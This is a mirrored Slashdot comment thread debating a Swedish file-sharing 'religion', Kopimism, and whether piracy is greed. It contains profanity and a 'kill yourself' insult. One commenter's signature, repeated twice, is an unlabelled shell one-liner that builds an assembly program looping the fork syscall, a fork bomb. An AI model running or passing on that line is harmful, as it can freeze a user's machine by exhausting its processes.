Slashdot Mirror
Swedish File-Sharers File For Religious Status
nloop writes "A group of file-sharers in Sweden have requested that their religion, Kopimism, be officially recognized in Sweden. Although this status has been denied once in the past the struggle for religious freedom from persecution continues. Aside from deeming CTRL+C CTRL+V as sacred symbols other beliefs include the flow of information being ethically right and closed source software being 'akin to slavery.'"
All who follow the mighty Jobs know that the only proper religious symbols are cmd-c, cmd-v
as far as religion went.
Next we will have paedohiles filing for religious status... Oh, wait
Look I get that companies providing content (or more accurately, managing content distribution) are acting like thugs. I even agree that individual copyright violations for personal use aren't that big a deal. But are we going to go so far as to support something this ridiculous? To read summaries like this you get the sense there isn't any value to intellectual property at all. If content producers know that anything they produce is "up for grabs", what incentive do they have to keep producing? Why is the idea of purchasing intellectual property of any sort, from software to movies, "akin to slavery"? Its economic privilege to assume they can just do it "as a hobby" or "contribute to open source". Open source has a place, but so does closed source. Fighting back against individual prosecutions is worthwhile and laudable. Framing those who wish to produce intellectual property and then charge for it as "slavers" is dishonest and counterproductive.
What about (window)+R and CTRL+ALT+DEL? Does this religion promote killing (of apps)?
This is not the way to get the ethos behind file-sharing taken seriously. It's counter-productive and childish.
Wait, how is desiring to collect more entertainment than could ever be consumed in a human lifetime without compensating the creators not a form of personal greed?
And me without mod points, too.
And a song: http://www.youtube.com/watch?v=9sJUDx7iEJw
93rd rule of Slashdot: No matter how obvious my sarcasm is, my comment will be taken seriously by someone.
It's goatse again.
Don't miss out on Member of European Parliament Christian Engström's suggestion for a religious version of the Beginning for this religion.
Short version:
1. There was chaos and soup.
2. Somebody in the soup learned to copy. Thus was Life.
3. Having learned to copy, they built magnificent things.
4. We honor the beginning by copying and building magnificent things.
Not bad, I think.
Now with 90% more logical fallacy per communiqué!
So what you're trying to tell us is that it already has a lot in common with a vast array of existing religions?
do you see the irony of requiring compensation on something that will not be ever used on a lifetime, and the same thing also being reproduceable/copiable faster than the original author can say 'copyright' ?
Read radical news here
I mean if Scientology can get accepted and treated like a legit religion (not that any of them are legit) then these guys could pull it off.
Did once. He was trying to start his own "ministry" and called it (get this):
"The Church of God's own GOOD GREEN LEAVES"... lol, talk about obvious!
(I.E.-> He tried it, so he could smoke pot and get away with it or so he thought, because of religious beliefs etc./et al... )
Now, personally? I don't know if that's even POSSIBLE (let alone legal), but, I took him with a "grain of salt" as usual on his "hare-brained ideas".
Mainly because he TRULY reminds me of "Ricky" from "The Trailer Park Boys" (good guy though, still a pal of mine, but he does "have his moments" & that? That's one of the 'classics' imo @ least), & IF you've EVER seen that show? You KNOW what I mean.
APK
P.S.=> Yes, he got "rejected" on trying to apply for it... I just laughed my a$$ off when he told me about it - I was like "J, that's another CLASSIC outta you, for sure!'... apk
do you see the irony of requiring compensation on something that will not be ever used on a lifetime, and the same thing also being reproduceable/copiable faster than the original author can say 'copyright' ?
So most of the western world is pretty fucked then, if IP has no value then the only value is in manufacturing, which is almost always outsourced because labor costs are too high locally.
So most of the western world is pretty fucked then
Yes, pretty much.
Circumcision is child abuse.
it supports selling heroin to teenage runaways (this is how the god judge\). robbing convenience stores(money is the root of all evil, it must be liberated from non-believers). etc.
“Common sense is not so common.” — Voltaire
Well, no, I don't see the irony. The copying costs were never really the main consideration at any point - they were more the baseline costs.
Maybe you can explain the irony to me.
Oh and if you like, take a stab at answering my original question. 10+ years of Slashdot and I've never had that one answered.
If anything, the hex key should be the symbol of their religion.
Also, their bible should come in a kit that you must assemble yourself to prove you are worthy.
Fisking
They seem as whacked out as any of the religious freaks out there...
I hate being bipolar; it's awesome!
I agree with you wholeheartedly. I also suspect that members of this sect will cry foul when for instance some of their GPL'd code is found to be plagierized and used in another program.
-- Cheers!
How is breathing air without paying the trees that scrubbed the CO2 out of it anything other than personal greed?
Learn to love Alaska
You refer to this question:
I guarantee it has been answered in the past ten years. You have just not been paying attention. But I will answer it again.
Having free access to more oxygen than can be consumed in a human lifetime is not considered personal greed. Why not? Because the good is abundant. Same for data. Once it exists, it is even more abundant than oxygen. It can be duplicated endlessly without costing anyone anything. Therefore, performing such replication is not greedy.
If my copy of it prevented you from having a copy of it, then grabbing up more than I need would be greed. Since that isn't the case, the word greed does not apply.
There you go, answered. You might disagree (and you would be wrong) but you can no longer claim that it hasn't been answered.
you don't get pagerank from slashdot, dickhole
Snowden and Manning are heroes.
I'd be willing to bet it's been answered hundreds of times. But that your response was "nuh uh" or "that's still greed" or such. Or perhaps some simply said "yes it is personal greed, just like it's personal greed that I want to greedily hold onto the land my parents left me and not share it with others." Greed isn't inherently illegal or immoral. It's greed to use it without paying for it. But then, it's greed to use it after paying for it. So I'm not sure what your point is, but it appears to be "I'll make silly meaningless statements and then use people responding to those silly meaningless statements with other silly meaningless statements as proof that my actual personal belief, hidden through my propensity to play devil's advocate, is correct and no one has or ever will prove me wrong." Or something like that.
Learn to love Alaska
do you see the irony of requiring compensation on something that will not be ever used on a lifetime, and the same thing also being reproduceable/copiable faster than the original author can say 'copyright' ?
i don't know about that, some of those lawyers can say 'copyright' pretty damn fast
Ctrl C and V (also X and Z and I think P) predate Microsoft by quite some time.
Boy are you in the wrong place.
Faster! Faster! Faster would be better!
Is personal greed worse than corporate greed? Or rather, is the greed of a single person overshadowed by the greed of many people working together? At what point should people fight back with more than their dollars when other fight so hard to control every avenue those dollars can be spent in?
These companies that control media, of all kinds, are resisting change with such fervor that the people are fighting back every way they can. Indie avenues on the web for self publishing of all kinds is chipping away at them. New methods for distribution are chipping away at them. And piracy is chipping away at them.
History has proven that the people of any country or race or religion will only take a beating for so long before fighting back. America was founded by two classes: People seeking freedom from religious persecution, and Merchants who wanted to keep more of their hard earned money, expand their businesses and seek new ways to sell and distribute.
I know two wrongs don't make a right is often parroted to us as children but the reality is that yes, another wrong is often needed to redress a severe imbalance between two classes. War is wrong....unless its against an evil empire. Hate is wrong....unless it is hatred of what society as a whole considers evil. We all agree the media companies are in the wrong. They continually try to get copyright extended, they abuse the actual creators, they abuse actual copyright law.
They tread on us...
Its time they learned these snakes bite. There is your answer. Yes, it IS a personal form of greed. One that when compounded person upon person adds up to a people that are tired of being forced to accept terms dictated by what are essentially a bunch of greedy, lying, thieves. They call consumers thieves, well it takes one to know one, and they are some of the best thieves around. They don;t break the law, they change the law to suit their whims and desires until everyone is forced to pay.
To pay for an album.
To pay for playing that album in their car.
To pay for playing that album on their computer.
To pay for playing that album on a personal music device.
To pay for allowing others to hear that album when they are enjoying it.
To pay for every and ay copy and 'performance' imaginable.
That is what THEY want. What they desire to be reality. They scream and cry it is for the musicians. For the actors. For the authors. And yet they regularly pay out less then 30% of what they take in to those same people. They keep rolling their copyrights to extend them indefinitely. Forever. Long after the lives of the artists have ended. Eventually there will be no Public Domain. not because they got it made illegal, but because nothing modern and relevant will enter it anymore. Ever. So yes, personal greed it is indeed. Personal greed for the ability to actually enjoy entertainment rather than buy it and wonder when I will become a criminal just for enjoying it.
Curiously most of the stuff they share is produced in the US.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
file-sharers gonna file (-share)
Is it just me, or does the "K" in their logo look just a little bit like a hand holding up the middle finger?
Having free access to more oxygen than can be consumed in a human lifetime is not considered personal greed. Why not? Because the good is abundant. Same for data. Once it exists, it is even more abundant than oxygen. It can be duplicated endlessly without costing anyone anything. Therefore, performing such replication is not greedy.
Movies aren't like oxygen. If people don't pay to watch them the businesses that make movies will do something else instead. Talking about the costs of making a copy (zero) and neglecting the cost of making the original movie (hundreds of millions of dollars) completely misses the point that the reason people are willing to invest money in making movies is because they expect to get that money back and more from selling the right to see it. If everyone pirated it rather than paying to see it there would be no reason to invest money in making future movies. Thus movies would not get made.
So the people that pirate are reducing the chance of future movies from being made by reducing the profits on the ones that exist. They are a bit like customers that go to a restaurant and eat their fill but don't pay - in the long run they will force the restaurant out of business. That could easily be described as greedy by other non free loading patrons. Not to mention by the owner.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
If that is true, it seems much less noble.
I'd still rather have this than Scientology.
You are free to believe in copying and preach about it all you want, but if you break the law, you will still get cuffed and jailed.
A cult may believe in human sacrifice or slavery or under-aged marriage or the execution of homosexuals. Thank god (or gov to be more accurate) it has never given them the right to do it.
If only there was some way we convince those third-world political forces to respect our "IP" authority. We face a greater ethical dilemma; is it right to enforce IP protection by military power? I think most americans would say no, but what alternative do we have? Once the cat is out of the box there's little that can be done to right it, and from what I understand the developing world (our manufacturing outsource channel of choice) continues to build 1960's car designs from both GM and VW. These designs don't sell in developed countries (likely only due to trade embargos), but with trade balance against us, that type of problem will be minimized for the "pirates" of these corporate machine countries. Is it time that our annual trillion+ dollar defense budget brought some sort of return on investment?
"And we have seen and do testify that the Father sent the Son to be the Savior of the World"
1 John 4:14
Two points:
1) movies are not necessary for life, nor are they naturally-occurring phenomena in nature;
2) Greed has to do with an outsize desire for something; It doesn't require that you wanting (or taking) lots of it create a scarcity for someone else;
If you desire vast quantities of something which requires time, effort, and investment by other people to create, then yes, that is greed. The cost of duplication is a fractional amount of the value of the time and effort that went into creating it. And it's probably one of the smaller fractions, once you break it all down, and greed is marked by an intense desire to possess something, not by whether or not that something is scarce.
Better version: http://www.youtube.com/watch?v=xSkCny-HtTw
Circumcision is child abuse.
Normally I'd curse at a bunch of idiots abusing the law for their own personal gain... But since it's opposing the RIAA, this is more like fighting fire with fire.
In your scenario they are depriving the restaurant of a physical object, copying data deprives no one of anything. If they could print out any amount of meals for the cost of running a computer yet did not lower prices (substantially), that could easily be described as greedy.
The economic anarchy of capitalist society as it exists today is, in my opinion, the real source of the evil. - Einstein
Something being part of your religion does not necessarily make it not illegal. In the USA, the standard used would be the Lemon test. If file sharing was criminal-illegal (rather than civil law illegal) and the 'church' challenged this on first amendment grounds, the state would need to show:
1 the law had a secular legislative purpose
2 the law's primary effect is not to advance or inhibit religion
3 the must not result in an "excessive government entanglement" with religion
An anti file sharing law would have no trouble passing these tests.
Of course, this is all in Sweden, so different laws/precedent will apply.
Quattuor res in hoc mundo sanctae sunt: libri, liberi, libertas et liberalitas.
> "How is breathing air without paying the trees that scrubbed the CO2 out of it anything other than personal greed?"
So, in your view, musicians, authors, software developers, movie and TV creators are just like trees - who neither desire payment, nor have a need to buy food or shelter? Maybe if my grocery store didn't require payment for food, my local auto-dealer would just give me free cars, and my mortgage company would just forgive my mortgage then I could afford to make software for your personal entertainment. Out of curiosity, what do you do, and what do you think of people who think you shouldn't be paid for doing it?
It's very possible - UID is only an indication of when a particular account was created. I'm not the OP, yet I've 7 digits in my UID, and have been a reader/participant here since '98 or '99. Somewhere in the /. DB I have one or two other usernames, created when needed and forgotten now because sometimes I will go a long time between reading or posting due to work or other circumstances. Shit happens. :)
"...there are some things that can beat smartness and foresight. Awkwardness and stupidity can." ~ Mark Twain
Let's all pray to Aremes, the god of open source, that this movement finally gets the recognition it deserves.
"we are all atheists about most of the gods that societies have ever believed in. Some of us just go one god further."
The Swedish government collects taxes and then gives them to various religious. If I recall correctly you can opt out, but the government then just keeps the money anyway. So creating a religion which supports your views may not be such a crazy thing after all. If it lampoons the established religions which at the end of the day are no more sensible so much the better.
How about said authors do the right thing: Just /stop/. If you're not making money off of it, and you need said money, stop making things! Maby we'll end up with /less/ crappy movies and formula fiction. The only thing that would be left is A, things that were done for free /just because/, and B, stuff that relies on other buisness models(Like advertising - you don't pay to watch it). You might even see crowdsourced stuff: Pay upfront and everyone gets it. /lot/ less corporate parasitism.
Sure, you wouldn't have many 100m+ budget movies... but do you need it? People will figure out ways to do things cheaper, and you'd have a
I suspect we'd see a lot less crap, an overall reduction in total volume, and a better signal-to-noise ratio. And that's a good thing.
Wait, how is desiring to collect more entertainment than could ever be consumed in a human lifetime without compensating the creators not a form of personal greed?
You've seriously never had a single answer to this in ten years?
It's not greed based for an archivist, a genre-fan, a generous person, anyone annoyed at the concept of missing Shakespeare plays, people who want different files but who want to help seed for others, people studying a subject or era, someone collecting media for a group trip, anyone making a time capsule,...
In a digital world where having more is having more chances to share, having more is good, not greedy. No hoarding or denying of access is involved.
No it is not. For the same reason you don't shoot shoplifters.
Emotions! In your brain!
So, in your view, musicians, authors, software developers, movie and TV creators are just like trees - who neither desire payment, nor have a need to buy food or shelter?
No, but if you keep making up enough lies, maybe some day you'll get one right, even if only by accident.
Out of curiosity, what do you do, and what do you think of people who think you shouldn't be paid for doing it?
I'm not some idiot "creator" who creates things no one wants then complains no one buys it. I am an "employee." That's where I show up when they tell me to and they send me money. "Creators" who want that also get to do that. It's called a "job." Or just create works that are commissioned.
Why do artists want to get paid forever for something they did once long long ago? And you call us freeloaders? We work for a living.
Learn to love Alaska
The way Hollywood's been remaking Scandinavian and Swedish films you could argue they're just taking back what's theirs :-)
If all else fails, immortality can always be assured by spectacular error.
Wonder who they hired. The former head of TASS or him.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
copying data deprives no one of anything
What about the person/group/corporation that originally created the data? Do you think it costs no money or time to make a movie? Do they just push a button and the Automatic Movie Generator Machine System spits one out? Well that machine cost them money, too. And what about the people who built that machine. That took years of R&D.
There really is no scenario in which piracy does not deprive somebody of something. Sure, you're copying data rather than taking it, but that's why there's something called "licensing". It costs money to produce entertainment media and licensing is how you recoup your investment.
(Does this mean I agree with how the **AA are handling things? No. They're a bunch of assholes that need to be shot. But that doesn't mean piracy isn't depriving them of money. And that doesn't make Kopimism or whateverthefuck any less stupid.)
Maybe, but then I don't listen to lunatics.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
he reason people are willing to invest money in making movies is because they expect to get that money back and more from selling the right to see it
They don't make money and haven't for the longest time yet they still keep making movies so obviously they aren't doing it to make money.
http://en.wikipedia.org/wiki/Hollywood_accounting#Examples
https://en.wikipedia.org/wiki/Inverted_totalitarianism
What the fuck? There's still apple stuff with keyboards and real buttons?
People still want films that haven't been made yet. So, in a world where you can't get people to pay for something after it's been made, pay will occur, mostly, before, rather than after production - which is how it used to be with music and theater.
Think "Kickstarter" was known producers and directors: if enough fans want something, they pay five or ten dollars and it goes into an escrow account until the film is made. If it stinks, the reputation-capital of the people involved drops and they have trouble getting funded for their next project.
This restores things like music and film making to what they should be: a service. Otherwise, the film industry is a textbook case of what is called "rent-seeking behavior."
There really is no scenario in which piracy does not deprive somebody of something.
Oh please, not this one again.
If you want n dollars for a movie, I have n * 0.1 dollars and I instead copy the movie, have I deprived you of n dollars? Had I offered you 0.1 * n dollars you would've spit in my face...
What if I copy your movie as an alternative to not watching it at all?
These are both perfectly reasonable and likely situations.
Greylisting is to SMTP as NAT is to IPv4
So not only can the pirates watch movies for free, but they also reduce the chances a multi-billion dollars CGI piece of crap will be released in the future ? Sounds like a win-win to me.
What if I copy your movie as an alternative to not watching it at all?
Then don't watch it. The movie studios don't make money from you watching their movie, they make money from you BUYING their movie.
from what I understand the developing world continues to build 1960's car designs from both GM and VW
no idea about GM but at least VW designs are built in China by FAW-Volkswagen, a joint-venture. Production started in 1991 with the Jetta, a derivative of the 1984 VW Jetta II.
"IP theft" may be a problem but your example is a bit fishy...
If you want n dollars for a movie, I have n * 0.1 dollars and I instead copy the movie, have I deprived you of n dollars?
Yes you have. You (as an average person) might have bought the movie at a later point in time when you did have n dollars.
Statistically, some people will actually save up money in order to buy the movie so, statistically, you ARE depriving them of money. Not n dollars but rather n * chance_of_somebody_saving_up_money_and_buying_it_later dollars.
Now it could be that you as an individual simply don't want to save up money in order to buy something. But if that is the case, then we're discussing moral values, not economics.
Slashdot social media options: AIM, ICQ, Yahoo, Jabber and Mobile Text. Why no MySpace?
I'm not some idiot "creator" who creates things no one wants then complains no one buys it. I am an "employee." That's where I show up when they tell me to and they send me money. "Creators" who want that also get to do that. It's called a "job." Or just create works that are commissioned.
Yeah! Fuck those so-called "creators". All they ever do is make new and wonderful things that the rest of the world enjoys. Why can't they just be factory drones like the rest of us?
Slashdot social media options: AIM, ICQ, Yahoo, Jabber and Mobile Text. Why no MySpace?
That's not an answer to my point which was that you were wrong in categorically stating that when pirating something you're always depriving somebody of something.
Please troll^H^H^Hy again.
Greylisting is to SMTP as NAT is to IPv4
Yes you have. You (as an average person) might have bought the movie at a later point in time when you did have n dollars.
No, as you yourself wrote, I MIGHT end up buying the movie later on. This is an uncertainty and neither you nor I can say how likely it is that this person would later have purchased the movie.
And while you try to twist it into "it's all about economics" the truth is that morality is also a part of this, if I feel a movie isn't worth my money but I have a choice between pirating that movie and watching paint dry I may still choose to pirate and watch the movie. You may consider this inherently wrong but I just don't see it.
There's also the fact that it may not be a "want" but a "can" in the saving money department. That is to say, a person with a very low income may very well choose to pirate a movie rather than going without (and please, if you come back with a reply about how this person should clearly get a second job rather than waste his/her time watching movies then may I suggest you kill yourself and spare the world of your cynical asshattery? (Yes, I've heard that "counter-argument" way too many times to count)).
Greylisting is to SMTP as NAT is to IPv4
The main failure of the Western world is believing that you're not engaged in abuse of your fellow man just because you outsource poor treatment of workers which you would find unacceptable (and illegal) in your own country.
If WTO wanted to live up to its ostensible aims, it would equalise the playing field across countries by requiring broadly equal worker treatment across countries engaged in free trade. In fact, all it has produced is a careful concoction of newspeak and slave management.
Oh, I'm sorry. I thought you had an IQ above the mid 30s and the ability to read English. There's nothing that prevents those with paychecks from creating. In fact, the vast majority of those employed in the creative arts are paid by the paycheck, not royalties. It's only "creators" who refuse paychecks, refuse work-for-hire, and instead hold out for perpetual copyright to aim for their one hit so they can never work again and just sit in a creativeless coma and whine about all the freeloaders while they have an explicit plan to never work again in their lives.
I guess nobody ever enjoyed the Sistine Chapel, since the guy that painted the ceiling didn't own the copyright on it. Because we all know, if copyright wasn't held by the owner, then the result can't ever be enjoyed and the creator would never create anything ever again.
Learn to love Alaska
I'd still rather have this than Scientology.
Scientology wants all your money. Kopimism wants you to keep it.
Wanna buy a shirt?
https://www.redbubble.com/people/stealthfinger/shop?asc=u
No, offence, but you suck at breaking up the quotes. Channel 5 has better cutting!
Wanna buy a shirt?
https://www.redbubble.com/people/stealthfinger/shop?asc=u
There really is no scenario in which piracy does not deprive somebody of something.
Oh please, not this one again.
If you want n dollars for a movie, I have n * 0.1 dollars and I instead copy the movie, have I deprived you of n dollars? Had I offered you 0.1 * n dollars you would've spit in my face...
What if I copy your movie as an alternative to not watching it at all?
These are both perfectly reasonable and likely situations.
Not THIS argument again. People downloading movies aren't too poor to pay to watch them. They're just too cheap to pay to watch them. If something costs n dollars, and you have n*0.1 dollars, either wait until it costs less or you've saved more. It's easy to say "I wouldn't have bought it anyway," when you plan from the start to download it rather than buying it.
I would like to see those statistics, please, because I am quite certain that there is a figure in them that says "x people will save up money in order to buy the $media AND pirate it for the time being". I know I do this.
Rudolf Hess edited Mein Kampf. He was the very first grammar nazi.
You folks always talk about the cost of producing movies/books/music, as if it were of any relevance to the debate. The cost of producing anything is an economic risk that lies squarely with the producer. Whether you are recording an album or manufacturing a car is irrelevant. What we should be talking about is the value of things. People pay significant premiums to have an Adidas logo on their running pants or a BMW sign on their car. The retail prices of both the pants and the car have very little to do with the cost of producing either but everything to do with how much people are willing to pay for having them, ie.: their value.
Apparently the perception of media's value has changed over the last decades. Where the producers - or more to the point: the distributors - see the value stable or even going up, the consumers see it going down. Way down. Films, music, books have become a commodity. IMDb gives 4,579 films released in 1970 and 20,578 in 2010. Those numbers may not be completely representative but they do get the point across: There is so much media competing with each other that the value of individual works has decreased. Add to that the vastly reduced cost of reproduction and you end up with a product which is seen as almost worthless by its supposed consumers.
Rudolf Hess edited Mein Kampf. He was the very first grammar nazi.
Indeed, if the logic is that you might have bought the movie if you didn't download it and are therefore liable for a percentage based on this chance, then what else could this apply to? If the shop is busy and you don't want to queue can they go after the retailer for the chance that you would have bought the DVD if they'd had more staff? If a review website tells you the movie sucks can they go after the website owners? When you start allowing damages based on a theoretical premise you open a whole different can of worms. Not to mention, if their argument was "there is X% chance you might have bought this movie had you not downloaded it" the obvious counter argument would be that there's an X% chance you still might - admittedly X is rapidly diminishing as a reaction to being sued...but maybe they can sue their legal team for the difference.
It's also tarring everyone with the same brush. If I was to say "If a movie exec saw you dying in the gutter and took your wallet would you call him greedy and heartless" the answer is obviously yes, but that doesn't automatically mean every movie exec would react the same way. GP is essentially saying ALL downloaders are greedy, but I suspect the people who hoard are a minority (I also think they have very different reasons to greed for downloading so much - like most people who collect they have a compulsion, but we don't call stamp collectors greedy) and most people download only what they can consume. GP's question is nothing more than a strawman, he's trying to get you to answer the question of whether someone who takes beyond their needs is greedy without answering the bigger question of whether the majority do take beyond their needs.
The way Hollywood's been remaking Scandinavian and Swedish films you could argue they're just taking back what's theirs :-)
I'm not sure they want to. To pick one at random, Let Me In (the Hollywood remake of Let the Right One In / Låt den rätte komma in) made just $84000 in Sweden. The original made 20× as much.
The remake made twice as much money as the original in the UK. With the attraction of watching the film in English one could be surprised it didn't do better, but everyone I know here didn't bother to see the remake as they knew it would be shit.
The above is actually a much more important point than it seems. According to this guy (about 9 mibutes in) the Copenhagen summit consensus panel estimated that loosening of trade barriers and subsidies in the US and EU would result in pulling hundreds of millions of people out of poverty in only 2-3 years and result in massive gains for the world economy. This would result also in wages going up in third world countries, making outsourcing less profitable and in turn putting money in the pockets of workers in the first world countries. The reason this isn't done is because it is more profitable for the corporations operating in those countries to have this poverty. To bring this train of thought back on topic, economically, sharing and globalism have an end result of making everyone better off. The question with copyright law as with free/fair trade is corporate profits vs social gains. Now choose.
Oh please, 90% of the people who copy things haven't built anything, much less something that could be described as magnificent.
100% of people who build things are built on copies. Ever heard of DNA? That's what the grandparent poster was referring to.
Yesterday, I downloaded and watched a national geographic show on "ape genius." It was primarily focused on the chimpanzee but also made comparative mention of the bonobo and human toddlers and a few other apes as well.
What it was showing was that there are many, many things that the apes have in common with humans but then asked the question (the real topic of the video) "what is the thing that let us explode intellectually while the other apes did not?" They can learn and do all sorts of things so why not?
Turns out, they lack an instinct for teaching and learning. We have that, and they do not. And teaching and learning is all about sharing -- information sharing. Without it, we would be at the same level as the other apes.
So what are the copyright people doing? Putting a price and making it a crime to exercise our very instincts -- instincts which pre-date modern humanity.
Aside from deeming CTRL+C CTRL+V as sacred symbols
...this will only lead into a bloody feud with the Church of Emacs and their Esc-w and Control-y. ...I mean, M-w and C-y. Don't look at me funnily, brethren! A honest mistake! Just trying to educate the public unwash'd who know not the Naming of the Keys!
so me watching a movie is a bad thing? I would argue that me being able to access more content is a good thing and that the studios should get some money for producing a good movie. However they should not have the right to prevent me from accessing it if I don't pay, because of the invasions of privacy nescessary to enforce it is Orwellian and removal of my fundamental right of privacy cannot be justified by any amount of economic gain.
"So the people that pirate are reducing the chance of future movies from being made by reducing the profits on the ones that exist."
I can live with Tom Cruise only getting 50,000$ per movie.
There are numerous Missions, e.g. the Holy Mission of DoubleCommand, the Logitech Mission of Kopi Keyboards etc hard at work to convert the heathens!
Violence is the last refuge of the incompetent. Polar Scope Align for iOS
Wait, how is desiring to collect more entertainment than could ever be consumed in a human lifetime without compensating the creators not a form of personal greed?
The whole trouble with the current copyright thing isn't that the producers want compensation, but that they interfere with my freedom in order to get at that compensation. Be it stuff like DMCA and DRM that prevents me from watching my legally purchased content or that copyright has been extended into infinity (works created in my life time not entering public domain in my lifetime is pretty much equal to infinity). Plenty of other issues get of course mixed in as well, such as that the compensation doesn't actually go to the creators, but to the ones owning the distribution rights, which does nothing more then secure their market dominance with no benefit to society.
Completely abolishing copyright might not be the best idea, but the way copyright currently works is really a perversion of the original idea that needs to get fixed.
Maybe they met a guy in a park who showed them some golden pills with some strange scripts on them. They scribbled down what they could remember as the golden pills would be taken away from them by the dude. The scripts may have been written in reformed Pearl, and later followers and coders have not been able to relate it to any known version of the standard Pearl script, or any other script language ever since. Not even Simon Singh or his friends would be able to decipher what they had written. Later on they may have followers in the millions, and have a legal status. The dude ruled them all!
It is fair to compensate the Creators (vs. the copyright holders with their "leave all rights to me or don't get published" contracts) for the work they publish in exchange for payment.
It is also fair to punish those who violate copyright IN PROPORTION TO THE ACTUAL DAMAGE done, which doesn't happen with those terror IP campaigns.
It is also fair that once a work is acquired, the guy who bought it can format shift it and archive it through 3rd parties, that ownership of a copy gives right to public performing it (venues can pay taxes, if you want).
It is also fair that creators do not plunder existing work and put it under copyright (music makers would be mostly SOL).
It is also fair that copyright doesn't extend more than 75 years.
It would be fair to ban free airing of material whose copyright protection is going to be strongly enforced. Doing otherwise is a form of entrapment.
---- MISSING MISCELLANEOUS DATA SEGMENT --- [sigdash] trolololol
making outsourcing less profitable
Is the general consensus that outsourcing as a whole tends to be profitable? Maybe my experience is sub-optimal, but it seems to fit within the "you get what you pay for" model. I've not really seen the exchange as unfair. Perhaps others are getting more out of it.
Fear is the mind killer.
God was one of us? Just a seeder on the bus. Burning CDs in a rush. Combing his hair with a plastic brush...
Unicode killed the ASCII-art *
I would prefer you not watch my movie, but despite it being my movie and my work effort you have decided on your own that choice is not acceptable and taken it against the lawful owner's will and desire.
If you want to watch my movie I suggest you collect up "n" and let me know you're ready. Then I'll decide if I like you attitude enough to let you see it.
The preferred solution is to not have a problem.
I for one almost never rewatch a movie after I've seen it once. I think that's true of most people and most movies. That's why video rental is such a big business.
For that group, a download does equal never purchase.
The preferred solution is to not have a problem.
Only until we repeal the bans on child labor and sweat shops for immigrants. Then we'll be right up there with the east again!
Data does not translate into "movie" necessarily.
---But that doesn't mean piracy isn't depriving them of money.
Then physically show me what they are being deprived of, offer some proof other than your words which amount to "this is how the system works license invest blah blah"
Deprive: to take away possessions from someone
The economic anarchy of capitalist society as it exists today is, in my opinion, the real source of the evil. - Einstein
Maintaining low labor costs has problems of its own. China is starting to see the negative side of relying on cheap labor alone as the means to sustain economic growth. They are starting to wrestle with rising inflation that if left unchecked will eliminate their low labor cost advantage. Trying to protect IP is damn hard these days. As soon as a new technology hits the market it is open to dissection and reproduction by others. China is an expert at this stragtegy. Why spend billions of dollars on research and development when you can just copy someone else's work? Pragmatism to the nth degree.
You missed the point of his question. The greed is not the collecting, but rather the lack of compensating the creators. It requires effort to produce ideas and why should taking risks to create ideas not be rewarded. While I don't agree with much of how copyright is currently enforced, it is substantially important to reward those who create and is greedy to expect them to work for nothing by simply consuming what they make without providing some compensation for it.
AJ Henderson
No it is not. For the same reason you don't shoot shoplifters.
Speak for yourself. I don't even work in a store, I just shoot shoplifters. Fun fact, 90% of shoplifters are babies.
Oh, dear ... not THIS argument again.
You see, the problem (well, one of them - there are many) is this:
If I really want to see a movie, I pay to do so, either in the theatre, or at home, or somewhere else, legally.
If I don't want to see a movie, due to me knowing beforehand that it's shite, or suspecting it might be, or just not being interested in it in the first place, I don't pay to see it, and - crucially - I don't see it.
In the latter case, I am invariably lumped together with those who saw the movie without paying for it, and thus added to the tally count of pirates, without actually being one.
Not paying is no longer an option. If I don't pay - even if I don't see the movie - I'm counted as a pirate and used to enact even more stupid laws and draconian measures.
The music and movie (and the gaming and electronic book too, for that matter) industries can all die today for all I care. They have outlived their right to exist and need to be replaced. The sooner the better.
Actually, I think I WILL start to pirate stuff. They fuck me, so I can damn well fuck them back. It's only fair.
Do they just push a button and the Automatic Movie Generator Machine System spits one out?
It seems that way sometimes.
Wait, why are you railing on people that have library cards?
This is my signature. There are many like it, but this one is mine.
Thus movies would not get made.
Considering what's been coming out of Hollyweird the last couple of decades I don't see the down side.
"Think about how stupid the average person is. Now, realise that half of them are dumber than that." - George Carlin
And while you try to twist it into "it's all about economics" the truth is that morality is also a part of this, if I feel a movie isn't worth my money but I have a choice between pirating that movie and watching paint dry I may still choose to pirate and watch the movie. You may consider this inherently wrong but I just don't see it.
It IS about economics, also though. You might look at *1* individual movie, and say "I would never pay for that, I'll just watch it. I'm not HURTING anyone, because I wasn't going to pay anyway." That's possibly true, but if you took EVERY movie into the equation, the situation changes quite a bit. If you stopped pirating, and did not pay for movies... you would NEVER see those movies again. And most people who enjoy movies, would rather see them sometimes, then NEVER. So in that scenario (absent of piracy), most of these people WOULD spend some money on movies. Piracy removes that from the equation, allowing some people to never spend a dollar on a movie, that they darn well would have otherwise.
... there wouldn't really be a lot of movies, would there?
The only reason the movies you watch are still available, are because not EVERY person who watches them are stealing them, and breaking copyright law in the process. Some people still pay to watch in a theater, or buy on DVD or BluRay, or subscribe to a premium movie channel, or get from NetFlix that they've paid a fee for, or whatever. If everyone stopped doing those things, and we all just starting torrenting our movies, eventually
Now you're comment about the low income person... does that even apply to you? PS: I've been that person, and I saw less movies. There's nothing moral and ethical about stealing movies. Do I sympathize with someone stealing groceries who can't get them any other way? Sure! But either go pay for Tron, or do something else.
Didn't you notice? Greed is the only principle modern society has anymore.
Give me Classic Slashdot or give me death!
That's a failure, certainly, but calling it the 'main failure' is a bit of a hyperbole, IMO.
Slashdot: Where people pretend to be twice as smart as they really are by behaving like children.
Do you think it costs no money or time to make a movie?
dont come up with this stupid argument ever, ever again.
it takes much more time and money to produce a single car model and sell it. yet, the company selling it to you is not asking you to pay money over and over and over and over again, and dictate ways you can use your car, or prevent you from selling your car if you want.
a car is much harder to produce than a software. yes, it is. because with a car, you start with an idea, you pass through abstract design, you DO create software in the middle to manage the car, and you go through all the horrors of manufacturing AND distributing, and THEN you go through servicing of that car for its lifetime. you cant just produce one copy of the car and copy it over and over without any effort and just give it to people over internet.
moreover, most of the intellectual property makes out their initial investment and multiples of profit in short notice. there is nothing that says people should be able to produce a single product and make money over and over again without adding any additional value to society.
Read radical news here
he wants to pay $1. he and everyone else thinks movie is worth $1 or less. they are the market. the producers are trying to force down their price. simple.
Read radical news here
> "A group of file-sharers in Sweden have requested that their religion, Kopimism, be officially recognized in Sweden."
I think they misspelled kleptoism.
